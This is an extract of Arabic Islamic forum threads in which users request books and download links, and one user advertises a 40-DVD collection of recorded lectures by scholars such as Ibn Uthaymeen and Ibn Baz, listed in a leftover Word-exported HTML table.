ـ[جيان عبدالله]ــــــــ[16 - 12 - 09, 08:37 ص]ـ
ما البرنامج الذي تنزل به رسالة الألفاظ والمصطلحات السابقة
جزاكم الله خيرا
ـ[خالد حامد الويشي]ــــــــ[08 - 01 - 10, 09:21 م]ـ
الرجاء من د. هاني تعديل الرابط
ـ[أحمد بن قاسم العبادي]ــــــــ[09 - 01 - 10, 09:23 ص]ـ
أحتاج هذه الكتب ضروري جدا من على موقع جامعة المدينة الرقمية ولكني لا أستطيع التسجيل وحاولت كثيرا إلا أننى فشلت فأطلب من الإخوة الأفاضل المساعدة والكتب هي:
1 - المنهاج الواضح للبلاغة- حامد عوني
2 - النقد والبلاغة مطبوع ضمن "موسوعة الحضارة العربية الإسلامية" - شكري عياد
3 - في الأدب الحديث - عمر الدسوقي
4 - النظرات- مصطفى لطفي المنفلوطي
5 - الأسلوب - أحمد الشايب
6 - مصادر الشعر الجاهلي - ناصر الدين الأسد
7 - دراسة في نصوص العصر الجاهلي تحليل وتذوق- السيد أحمد عمارة
8 - نظرات في التمثيل البلاغي - محمود السيد شيخون.
9 - ملامح النقد الأدبي ومقاييسه في العصر الجاهلي - محمد عارف محمود حسين
10 - النقد الأدبي ومقاييسه خلال عهد الرسول صلى الله عليه وسلم وعصر الخلافة الراشدة - محمد عارف محمود حسين
11 - قبس من بلاغة الفاروق رضي الله عنه - علي البدري
12 - البديع عند الحريري- محمد بيلو أحمد أبوبكر
13 - أبو الحسن الرماني ومفهومه للإعجاز القرآني - أحمد جمال العمري
14 - البيان البلاغي عند العرب (معناه , أطواره) - عبد الحميد محمد العبيسي
15 - أبو بكر الباقلاني ومفهومه للإعجاز القرآني- أحمد جمال العمري
16 - البيان البلاغي عند العرب موضوعه .. مكانه من البلاغة - عبد الحميد محمد العبيسي
17 - التطور البلاغي لمبحث الفصل والوصل - عبد الله عبد الرحيم عسيلان
تذكير بطلب رفع هذه العناوين للأهمية أو بيان الطريقة التي ترفع بها هذه الكتب
ـ[وفاءمرس]ــــــــ[10 - 01 - 10, 05:54 ص]ـ
جزاك الله خيرا
ـ[أسامة عبد العظيم عمر]ــــــــ[12 - 09 - 10, 04:27 ص]ـ
جزاكم الله خيرا
ـ[احمدعاطف]ــــــــ[12 - 09 - 10, 06:01 ص]ـ
بارك الله فيك دكتور هانى , وجزاك عنا خير الجزاء , وكتب لك بكل حرف حسنة , وأنعم عليك بموفور الصحة والعافية.
وكل عام وأنتم بخير حال، وليتك تكمل هذا المشروع الذى بدأته فهو يستحق هذا الاهتمام منك.
ـ[كامل رمضان]ــــــــ[12 - 09 - 10, 07:01 م]ـ
تقبل الله منا و منكم .... كل عام و أنت بخير
الروابط لا تعمل(61/109)
دروس العلماء (صوتي)
ـ[عبدالعزيز السلفي]ــــــــ[09 - 09 - 08, 05:17 ص]ـ
بسم الله الرحمن الرحيم<? xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /><o:p></o:p>
ويه نستعين ولا عدوان إلا على الظالمين و الصلاة والسلام على نبينا محمد. اللهم لك الحمد والمنه أن يسرت لي التسجيل في هذا المنتدى النافع أسأل الله العلي القدير أن يسدد القائمين عليه وأن يوفقهم لمافيه صلاح الإسلام والمسلمين أما بعد:< o:p></o:p>
بعون الله وتوفيقه يسر الله لي أن جمعت كثير من الدروس الصوتيه ورتبتها وبوبتها وحولتها إلى صيغة ( MP3) ونسختها على DVD's وعملت على كل قرص فهرسا ملصقا عليه ليسهل معرفت مافيه من دروس وجمعتها في حقيبة واحدة تحتوي على 40 قرصاً وهي تعمل على جميع مشغلات الديفيدي DVD Players فتستطيع سماعها في السيارة. ووضعتها عند:< o:p></o:p>
· مكتبة وتسجيلات بلنسية< o:p></o:p>
· الرياض شارع السويدي العام-غرب النفق مقابل أسواق الراجحي< o:p></o:p>
· هاتف وفاكس: 014253883< o:p></o:p>
· سعر الحقيبه كاملة 190 ريال كل اسطوانة ديفيدي ب 4.75 ريال
· للستفسار DrPublisher@Gmail.com (DrPublisher@Gmail.com)<o:p></o:p>
<o:p></o:p>
<o:p></o:p>
حقيبة دروس العلماء المجموعة الأولى تحتوب على:< o:p></o:p>
<o:p></o:p>
<TABLE class=MsoTableGrid dir=rtl style="BORDER-RIGHT: medium none; BORDER-TOP: medium none; MARGIN: auto auto auto -22.75pt; BORDER-LEFT: medium none; WIDTH: 524.45pt; BORDER-BOTTOM: medium none; BORDER-COLLAPSE: collapse; mso-border-alt: solid windowtext .5pt; mso-yfti-tbllook: 480; mso-padding-alt: 0in 5.4pt 0in 5.4pt; mso-table-dir: bidi; mso-border-insideh: .5pt solid windowtext; mso-border-insidev: .5pt solid windowtext" cellSpacing=0 cellPadding=0 width=699 border=1><TBODY><TR style="HEIGHT: 21.75pt; mso-yfti-irow: 0; mso-yfti-firstrow: yes"><TD style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: windowtext 1pt solid; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0in; BORDER-LEFT: windowtext 1pt solid; WIDTH: 254.45pt; PADDING-TOP: 0in; BORDER-BOTTOM: windowtext 1pt solid; HEIGHT: 21.75pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt" vAlign=top width=339>1. نور على الدرب-ابن عثيمين< o:p></o:p>
</TD><TD style="BORDER-RIGHT: #d4d0c8; PADDING-RIGHT: 5.4pt; BORDER-TOP: windowtext 1pt solid; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0in; BORDER-LEFT: windowtext 1pt solid; WIDTH: 3.75in; PADDING-TOP: 0in; BORDER-BOTTOM: windowtext 1pt solid; HEIGHT: 21.75pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-right-alt: solid windowtext .5pt" vAlign=top width=360>2. اللغة-ابن عثيمين< o:p></o:p>
</TD></TR><TR style="HEIGHT: 21.75pt; mso-yfti-irow: 1"><TD style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0in; BORDER-LEFT: windowtext 1pt solid; WIDTH: 254.45pt; PADDING-TOP: 0in; BORDER-BOTTOM: windowtext 1pt solid; HEIGHT: 21.75pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" vAlign=top width=339>3. ألفية ابن مالك-ابن عثيمين< o:p></o:p>
</TD><TD style="BORDER-RIGHT: #d4d0c8; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0in; BORDER-LEFT: windowtext 1pt solid; WIDTH: 3.75in; PADDING-TOP: 0in; BORDER-BOTTOM: windowtext 1pt solid; HEIGHT: 21.75pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-right-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" vAlign=top width=360>4. بلوغ المرام-ابن عثيمين-1< o:p></o:p>
(يُتْبَع .. اقلب الصفحة)
(61/110)
</ TD></TR><TR style="HEIGHT: 21.75pt; mso-yfti-irow: 2"><TD style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0in; BORDER-LEFT: windowtext 1pt solid; WIDTH: 254.45pt; PADDING-TOP: 0in; BORDER-BOTTOM: windowtext 1pt solid; HEIGHT: 21.75pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" vAlign=top width=339>5. نونية ابن القيم-ابن عثيمين< o:p></o:p>
</TD><TD style="BORDER-RIGHT: #d4d0c8; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0in; BORDER-LEFT: windowtext 1pt solid; WIDTH: 3.75in; PADDING-TOP: 0in; BORDER-BOTTOM: windowtext 1pt solid; HEIGHT: 21.75pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-right-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" vAlign=top width=360>6. بلوغ المرام-ابن عثيمين-2< o:p></o:p>
</TD></TR><TR style="HEIGHT: 21.75pt; mso-yfti-irow: 3"><TD style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0in; BORDER-LEFT: windowtext 1pt solid; WIDTH: 254.45pt; PADDING-TOP: 0in; BORDER-BOTTOM: windowtext 1pt solid; HEIGHT: 21.75pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" vAlign=top width=339>7. من أحكام القرآن-ابن عثيمين< o:p></o:p>
</TD><TD style="BORDER-RIGHT: #d4d0c8; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0in; BORDER-LEFT: windowtext 1pt solid; WIDTH: 3.75in; PADDING-TOP: 0in; BORDER-BOTTOM: windowtext 1pt solid; HEIGHT: 21.75pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-right-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" vAlign=top width=360>8. بلوغ المرام-عطية سالم-1< o:p></o:p>
</TD></TR><TR style="HEIGHT: 21.75pt; mso-yfti-irow: 4"><TD style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0in; BORDER-LEFT: windowtext 1pt solid; WIDTH: 254.45pt; PADDING-TOP: 0in; BORDER-BOTTOM: windowtext 1pt solid; HEIGHT: 21.75pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" vAlign=top width=339>9. نور على الدرب -ابن باز< o:p></o:p>
</TD><TD style="BORDER-RIGHT: #d4d0c8; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0in; BORDER-LEFT: windowtext 1pt solid; WIDTH: 3.75in; PADDING-TOP: 0in; BORDER-BOTTOM: windowtext 1pt solid; HEIGHT: 21.75pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-right-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" vAlign=top width=360>10. بلوغ المرام-عطية سالم-2< o:p></o:p>
</TD></TR><TR style="HEIGHT: 21.75pt; mso-yfti-irow: 5"><TD style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0in; BORDER-LEFT: windowtext 1pt solid; WIDTH: 254.45pt; PADDING-TOP: 0in; BORDER-BOTTOM: windowtext 1pt solid; HEIGHT: 21.75pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" vAlign=top width=339>11. لقاء الباب المفتوح-ابن عثيمين< o:p></o:p>
(يُتْبَع .. اقلب الصفحة)
(61/111)
</ TD><TD style="BORDER-RIGHT: #d4d0c8; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0in; BORDER-LEFT: windowtext 1pt solid; WIDTH: 3.75in; PADDING-TOP: 0in; BORDER-BOTTOM: windowtext 1pt solid; HEIGHT: 21.75pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-right-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" vAlign=top width=360>12. صحيح مسلم-ابن عثيمين< o:p></o:p>
</TD></TR><TR style="HEIGHT: 21.75pt; mso-yfti-irow: 6"><TD style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0in; BORDER-LEFT: windowtext 1pt solid; WIDTH: 254.45pt; PADDING-TOP: 0in; BORDER-BOTTOM: windowtext 1pt solid; HEIGHT: 21.75pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" vAlign=top width=339>13. دروس الحرم المكي-ابن عثيمين رقم-1< o:p></o:p>
</TD><TD style="BORDER-RIGHT: #d4d0c8; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0in; BORDER-LEFT: windowtext 1pt solid; WIDTH: 3.75in; PADDING-TOP: 0in; BORDER-BOTTOM: windowtext 1pt solid; HEIGHT: 21.75pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-right-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" vAlign=top width=360>14. الأصول (تفسير+فقة+حديث) -ابن عثيمين< o:p></o:p>
</TD></TR><TR style="HEIGHT: 21.75pt; mso-yfti-irow: 7"><TD style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0in; BORDER-LEFT: windowtext 1pt solid; WIDTH: 254.45pt; PADDING-TOP: 0in; BORDER-BOTTOM: windowtext 1pt solid; HEIGHT: 21.75pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" vAlign=top width=339>15. دروس الحرم المكي-ابن عثيمين رقم-2< o:p></o:p>
</TD><TD style="BORDER-RIGHT: #d4d0c8; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0in; BORDER-LEFT: windowtext 1pt solid; WIDTH: 3.75in; PADDING-TOP: 0in; BORDER-BOTTOM: windowtext 1pt solid; HEIGHT: 21.75pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-right-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" vAlign=top width=360>16. ألفية السيوطي-العباد< o:p></o:p>
</TD></TR><TR style="HEIGHT: 21.75pt; mso-yfti-irow: 8"><TD style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0in; BORDER-LEFT: windowtext 1pt solid; WIDTH: 254.45pt; PADDING-TOP: 0in; BORDER-BOTTOM: windowtext 1pt solid; HEIGHT: 21.75pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" vAlign=top width=339>17. اللقاء الشهري-ابن عثيمين< o:p></o:p>
</TD><TD style="BORDER-RIGHT: #d4d0c8; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0in; BORDER-LEFT: windowtext 1pt solid; WIDTH: 3.75in; PADDING-TOP: 0in; BORDER-BOTTOM: windowtext 1pt solid; HEIGHT: 21.75pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-right-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" vAlign=top width=360>18. سنن أبي داود-العباد-1< o:p></o:p>
(يُتْبَع .. اقلب الصفحة)
(61/112)
</ TD></TR><TR style="HEIGHT: 21.75pt; mso-yfti-irow: 9"><TD style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0in; BORDER-LEFT: windowtext 1pt solid; WIDTH: 254.45pt; PADDING-TOP: 0in; BORDER-BOTTOM: windowtext 1pt solid; HEIGHT: 21.75pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" vAlign=top width=339>19. زاد المستقنع-ابن عثيمين-1< o:p></o:p>
</TD><TD style="BORDER-RIGHT: #d4d0c8; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0in; BORDER-LEFT: windowtext 1pt solid; WIDTH: 3.75in; PADDING-TOP: 0in; BORDER-BOTTOM: windowtext 1pt solid; HEIGHT: 21.75pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-right-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" vAlign=top width=360>20. سنن أبي داود-العباد-2< o:p></o:p>
</TD></TR><TR style="HEIGHT: 21.75pt; mso-yfti-irow: 10"><TD style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0in; BORDER-LEFT: windowtext 1pt solid; WIDTH: 254.45pt; PADDING-TOP: 0in; BORDER-BOTTOM: windowtext 1pt solid; HEIGHT: 21.75pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" vAlign=top width=339>21. زاد المستقنع-ابن عثيمين-2< o:p></o:p>
</TD><TD style="BORDER-RIGHT: #d4d0c8; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0in; BORDER-LEFT: windowtext 1pt solid; WIDTH: 3.75in; PADDING-TOP: 0in; BORDER-BOTTOM: windowtext 1pt solid; HEIGHT: 21.75pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-right-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" vAlign=top width=360>22. أيسر التفاسير-1< o:p></o:p>
</TD></TR><TR style="HEIGHT: 21.75pt; mso-yfti-irow: 11"><TD style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0in; BORDER-LEFT: windowtext 1pt solid; WIDTH: 254.45pt; PADDING-TOP: 0in; BORDER-BOTTOM: windowtext 1pt solid; HEIGHT: 21.75pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" vAlign=top width=339>23. رياض الصالحين-ابن عثيمين< o:p></o:p>
</TD><TD style="BORDER-RIGHT: #d4d0c8; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0in; BORDER-LEFT: windowtext 1pt solid; WIDTH: 3.75in; PADDING-TOP: 0in; BORDER-BOTTOM: windowtext 1pt solid; HEIGHT: 21.75pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-right-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" vAlign=top width=360>24. أيسر التفاسير-2< o:p></o:p>
</TD></TR><TR style="HEIGHT: 21.75pt; mso-yfti-irow: 12"><TD style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0in; BORDER-LEFT: windowtext 1pt solid; WIDTH: 254.45pt; PADDING-TOP: 0in; BORDER-BOTTOM: windowtext 1pt solid; HEIGHT: 21.75pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" vAlign=top width=339>25. دروس المسجد النبوي-ابن عثيمين< o:p></o:p>
(يُتْبَع .. اقلب الصفحة)
(61/113)
</ TD><TD style="BORDER-RIGHT: #d4d0c8; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0in; BORDER-LEFT: windowtext 1pt solid; WIDTH: 3.75in; PADDING-TOP: 0in; BORDER-BOTTOM: windowtext 1pt solid; HEIGHT: 21.75pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-right-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" vAlign=top width=360>26. أيسر التفاسير-3< o:p></o:p>
</TD></TR><TR style="HEIGHT: 21.75pt; mso-yfti-irow: 13"><TD style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0in; BORDER-LEFT: windowtext 1pt solid; WIDTH: 254.45pt; PADDING-TOP: 0in; BORDER-BOTTOM: windowtext 1pt solid; HEIGHT: 21.75pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" vAlign=top width=339>27. تفسير-ابن عثيمين-1< o:p></o:p>
</TD><TD style="BORDER-RIGHT: #d4d0c8; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0in; BORDER-LEFT: windowtext 1pt solid; WIDTH: 3.75in; PADDING-TOP: 0in; BORDER-BOTTOM: windowtext 1pt solid; HEIGHT: 21.75pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-right-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" vAlign=top width=360>28. خواطرفي تفسير القرآن-1< o:p></o:p>
</TD></TR><TR style="HEIGHT: 21.75pt; mso-yfti-irow: 14"><TD style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0in; BORDER-LEFT: windowtext 1pt solid; WIDTH: 254.45pt; PADDING-TOP: 0in; BORDER-BOTTOM: windowtext 1pt solid; HEIGHT: 21.75pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" vAlign=top width=339>29. تفسير-ابن عثيمين-2< o:p></o:p>
</TD><TD style="BORDER-RIGHT: #d4d0c8; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0in; BORDER-LEFT: windowtext 1pt solid; WIDTH: 3.75in; PADDING-TOP: 0in; BORDER-BOTTOM: windowtext 1pt solid; HEIGHT: 21.75pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-right-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" vAlign=top width=360>30. خواطرفي تفسير القرآن-2< o:p></o:p>
</TD></TR><TR style="HEIGHT: 21.75pt; mso-yfti-irow: 15"><TD style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0in; BORDER-LEFT: windowtext 1pt solid; WIDTH: 254.45pt; PADDING-TOP: 0in; BORDER-BOTTOM: windowtext 1pt solid; HEIGHT: 21.75pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" vAlign=top width=339>31. تفسير-ابن عثيمين-3< o:p></o:p>
</TD><TD style="BORDER-RIGHT: #d4d0c8; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0in; BORDER-LEFT: windowtext 1pt solid; WIDTH: 3.75in; PADDING-TOP: 0in; BORDER-BOTTOM: windowtext 1pt solid; HEIGHT: 21.75pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-right-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" vAlign=top width=360>32. البخاري-ابن عثيمين-1< o:p></o:p>
(يُتْبَع .. اقلب الصفحة)
(61/114)
</ TD></TR><TR style="HEIGHT: 21.75pt; mso-yfti-irow: 16"><TD style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0in; BORDER-LEFT: windowtext 1pt solid; WIDTH: 254.45pt; PADDING-TOP: 0in; BORDER-BOTTOM: windowtext 1pt solid; HEIGHT: 21.75pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" vAlign=top width=339>33. فتاوى الحرم المكي-ابن عثيمين< o:p></o:p>
</TD><TD style="BORDER-RIGHT: #d4d0c8; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0in; BORDER-LEFT: windowtext 1pt solid; WIDTH: 3.75in; PADDING-TOP: 0in; BORDER-BOTTOM: windowtext 1pt solid; HEIGHT: 21.75pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-right-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" vAlign=top width=360>34. البخاري-ابن عثيمين-2< o:p></o:p>
</TD></TR><TR style="HEIGHT: 21.75pt; mso-yfti-irow: 17"><TD style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0in; BORDER-LEFT: windowtext 1pt solid; WIDTH: 254.45pt; PADDING-TOP: 0in; BORDER-BOTTOM: windowtext 1pt solid; HEIGHT: 21.75pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" vAlign=top width=339>35. دروس ابن باز (جميع الدروس تقريباً) < o:p></o:p>
</TD><TD style="BORDER-RIGHT: #d4d0c8; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0in; BORDER-LEFT: windowtext 1pt solid; WIDTH: 3.75in; PADDING-TOP: 0in; BORDER-BOTTOM: windowtext 1pt solid; HEIGHT: 21.75pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-right-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" vAlign=top width=360>36. الموطأ-عطية سالم-1< o:p></o:p>
</TD></TR><TR style="HEIGHT: 21.75pt; mso-yfti-irow: 18"><TD style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0in; BORDER-LEFT: windowtext 1pt solid; WIDTH: 254.45pt; PADDING-TOP: 0in; BORDER-BOTTOM: windowtext 1pt solid; HEIGHT: 21.75pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" vAlign=top width=339>37. كتاب التوحيد-ابن عثيمين< o:p></o:p>
</TD><TD style="BORDER-RIGHT: #d4d0c8; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0in; BORDER-LEFT: windowtext 1pt solid; WIDTH: 3.75in; PADDING-TOP: 0in; BORDER-BOTTOM: windowtext 1pt solid; HEIGHT: 21.75pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-right-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" vAlign=top width=360>38. الموطأ-عطية سالم-2< o:p></o:p>
</TD></TR><TR style="HEIGHT: 21.75pt; mso-yfti-irow: 19; mso-yfti-lastrow: yes"><TD style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0in; BORDER-LEFT: windowtext 1pt solid; WIDTH: 254.45pt; PADDING-TOP: 0in; BORDER-BOTTOM: windowtext 1pt solid; HEIGHT: 21.75pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" vAlign=top width=339>39. العقيدة-ابن عثيمين (جميع شروح العقيدة) < o:p></o:p>
</TD><TD style="BORDER-RIGHT: #d4d0c8; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0in; BORDER-LEFT: windowtext 1pt solid; WIDTH: 3.75in; PADDING-TOP: 0in; BORDER-BOTTOM: windowtext 1pt solid; HEIGHT: 21.75pt; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-right-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" vAlign=top width=360>40. منهاج المسلم-أبو بكر الجزائري< o:p></o:p>
</TD></TR></TBODY></TABLE>
<o:p></o:p>
<o:p> ويوجد كذلك:</ o:p>
<o:p> ألبوم يحتوي على سلسلة الهدى والنور-للألباني</ o:p>
<o:p></o:p>
<o:p></o:p>(61/115)
طلب: فقه السنة مترجما للإنجليزية مفهرسا للشاملة.
ـ[خليل إبراهيم]ــــــــ[09 - 09 - 08, 10:04 ص]ـ
كان هذا الكتاب موجودا عندي بالشاملة القديمة لكن يبدو أنني فقدته مع كثرة التحديثات
فهل من معين يقوم بتنزيله مرة أخرى.
بارك الله فيكم(61/116)
اريد تمام المنة بالرد على اعداء السنة الشيخ محمد اسماعيل المقدم
